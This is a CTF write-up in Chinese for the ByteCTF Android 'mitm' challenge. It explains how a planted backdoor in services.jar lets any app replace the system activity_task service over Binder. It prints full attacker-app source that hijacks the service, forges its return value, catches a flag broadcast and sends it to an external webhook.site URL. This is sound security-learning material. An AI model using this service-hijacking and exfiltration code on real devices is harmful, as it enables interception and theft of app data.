bytectf-mitm
这是一道关于android-binder的题目(android 漏洞题), 涉及到服务权限相关的东西, 之前实习的时候研究过关于binder的东西, 所以这里赛后就复现一下, 如果有什么不对的地方, 欢迎师傅们指出.
本地测试环境
先是拿到题目文件, 在readme里面有提示告诉我们启动一个出题人魔改的镜像.
1 2 3
| 在Android Studio中通过SDK Manager -> SDK Update Sites添加如下url: https://gwynsh.oss-cn-shanghai.aliyuncs.com/mitm.xml 之后就可以创建模拟器在本地测试。
|
SDK Update Sites添加好了之后, 在SDK Platforms选项里面找到Bytedance CTF System Image镜像

下载好了之后, 就可以直接创建avd了(在x86 images里面找到对应的镜像)
server.py描述了apk的上传与安装过程, 大致就是分别安装app-debug.apk以及自定义的apk. 这里注意, 自定义apk的包名只能是com.bytedance.attackmitm, 启动的类名为MainActivity.
1 2
| ATTACKER = "com.bytedance.attackmitm" adb_activity(f"{ATTACKER}/.MainActivity")
|
被泄露的app
通过jeb的分析我们看到check()在与activity_task通讯返回0x539之后会讲flag信息通过广播发送出去.看到这里题目的意思应该是让我们想办法更改activity_task服务的返回值以及写一个广播接收器.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| IBinder am = (IBinder)Class.forName("android.os.ServiceManager").getDeclaredMethod("getService", String.class).invoke(null, "activity_task"); Parcel parcel0 = Parcel.obtain(); Parcel parcel1 = Parcel.obtain(); parcel0.writeInterfaceToken("android.app.IActivityTaskManager"); am.transact(0x11, parcel0, parcel1, 0); parcel1.readException(); int v = parcel1.readInt(); Log.d(MainActivity.TAG, String.valueOf(v)); if(v == 0x539) { Log.d(MainActivity.TAG, "Congrats!"); Intent intent = new Intent(); intent.setAction("bytedance.ctf.androidmitm"); intent.putExtra("flag", "ByteCTF{xxx}"); this.sendBroadcast(intent); return; }
|
首先是更改activtiy_task服务, 这个服务属于系统服务, 普通app没有权限去更改系统服务, 也就是没有权限调用android.os.ServiceManager.addService()这个方法.所以我们得借助更高权限的应用来达到我们的目的. 拥有这一权限的应用, 比如系统app(存放在/system/priv-app, /system/app等目录下, 用户安装的app在/data/app目录下), 还有就是frameworks(activty_task服务的注册就是在这里).
frameworks
首先需要提取frameworks.jar以及service.jar(要寻找服务添加的权限提升, services.jar就是服务注册代码的存放位置), 直接用adb从模拟器pull下来就行了
1 2
| adb pull system/framework/framework.jar .\ adb pull system/framework/services.jar .\
|
然后用jeb去分析frameworks.jar以及services.jar
在services.jar找到权限提升漏洞的地方, 明显看出来这其实是出题人留下的后门.
1 2 3 4
| public void godGiveMeAddService(String name, IBinder service) { Log.d("Bytedance", "Android God gives you addService()"); ServiceManager.addService(name, service, false, 8); }
|
找一下交叉引用发现services.jar里面没有, framework.jar: android.app.IActivityManager存在调用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public boolean onTransact(int code, Parcel data, Parcel reply, int flags) throws RemoteException { Stub iActivityManager$Stub0 = this; Parcel parcel2 = data; Parcel parcel3 = reply; if(code != 0x5F4E5446) { IBinder iBinder0 = null; int v2 = 0; switch(code) { case 0xDF: { break; } default: { return super.onTransact(code, data, reply, flags); } }
parcel2.enforceInterface("android.app.IActivityManager"); iActivityManager$Stub0.godGiveMeAddService(data.readString(), data.readStrongBinder()); reply.writeNoException(); return true; } }
|
这里也是一个binder通讯, 所以目前大致的思路是
- 设计一个binder, onTransact通讯在code等于0x11的时候往返回包里面写一个0x539
- 用binder与android.app.IActivityManager通讯, 将activtiy_task服务替换为我们自己设计的binder
- 注册一个广播接收器, 接受action为"bytedance.ctf.androidmitm"的广播
- 启动app-debug.apk应用, 触发check函数.
- 广播接收器进行flag接收与发送
自定义app
MainActivity.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| package com.bytedance.attackmitm;
import androidx.appcompat.app.AppCompatActivity; import android.content.BroadcastReceiver; import android.content.ComponentName; import android.content.Intent; import android.content.IntentFilter; import android.net.ConnectivityManager; import android.os.Bundle; import android.os.IBinder; import android.os.Parcel; import android.os.RemoteException;
import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.net.HttpURLConnection; import java.net.URL;
public class MainActivity extends AppCompatActivity { static IBinder old;
@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); try { IBinder am = (IBinder)Class.forName("android.os.ServiceManager").getDeclaredMethod("getService", String.class).invoke(null, "activity"); old = (IBinder)Class.forName("android.os.ServiceManager").getDeclaredMethod("getService", String.class).invoke(null, "activity_task"); android.os.Parcel _data = android.os.Parcel.obtain(); _data.writeInterfaceToken("android.app.IActivityManager"); _data.writeString("activity_task"); _data.writeStrongBinder(new MyBinder()); android.os.Parcel _reply = android.os.Parcel.obtain(); am.transact(0xDF, _data, _reply, 0); _reply.readException(); BroadcastReceiver br = new MyReceiver(); IntentFilter filter = new IntentFilter(ConnectivityManager.CONNECTIVITY_ACTION); filter.addAction("bytedance.ctf.androidmitm"); this.registerReceiver(br, filter); Intent mIntent = new Intent( ); mIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); ComponentName comp = new ComponentName("com.bytedance.mitm","com.bytedance.mitm.MainActivity"); mIntent.setComponent(comp); mIntent.setAction("android.intent.action.VIEW"); startActivity(mIntent);
} catch (IllegalAccessException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (RemoteException e) { e.printStackTrace(); } setContentView(R.layout.activity_main); } }
|
MyBinder.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| package com.bytedance.attackmitm;
import android.os.Binder; import android.os.Parcel; import android.os.RemoteException;
import androidx.annotation.NonNull; import androidx.annotation.Nullable;
public class MyBinder extends Binder { @Override protected boolean onTransact(int code, @NonNull Parcel data, @Nullable Parcel reply, int flags) throws RemoteException { android.os.Parcel _data = android.os.Parcel.obtain(); android.os.Parcel _reply = android.os.Parcel.obtain(); if (code == 0x11) { reply.writeNoException(); reply.writeInt(0x539); return true; } return MainActivity.old.transact(code, data, reply, flags); } }
|
MyReceiver.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| package com.bytedance.attackmitm;
import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log;
import java.io.IOException; import java.net.HttpURLConnection; import java.net.MalformedURLException; import java.net.URL; import java.net.URLConnection;
public class MyReceiver extends BroadcastReceiver {
@Override public void onReceive(Context context, Intent intent) { String flag = "???"; if (intent.getAction().equals("bytedance.ctf.androidmitm")) { flag = intent.getStringExtra("flag"); httpGet(flag); } return; } private void httpGet(String msg){ new Thread(new Runnable() { @Override public void run() { HttpURLConnection connection = null; try { URL url = new URL("https://webhook.site/63909e35-ad00-4575-9200-699ff4971f4b?flag=" + msg); connection = (HttpURLConnection) url.openConnection(); connection.setRequestMethod("GET"); connection.getInputStream(); } catch (IOException e) { e.printStackTrace(); } } }).start(); } }
|

如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !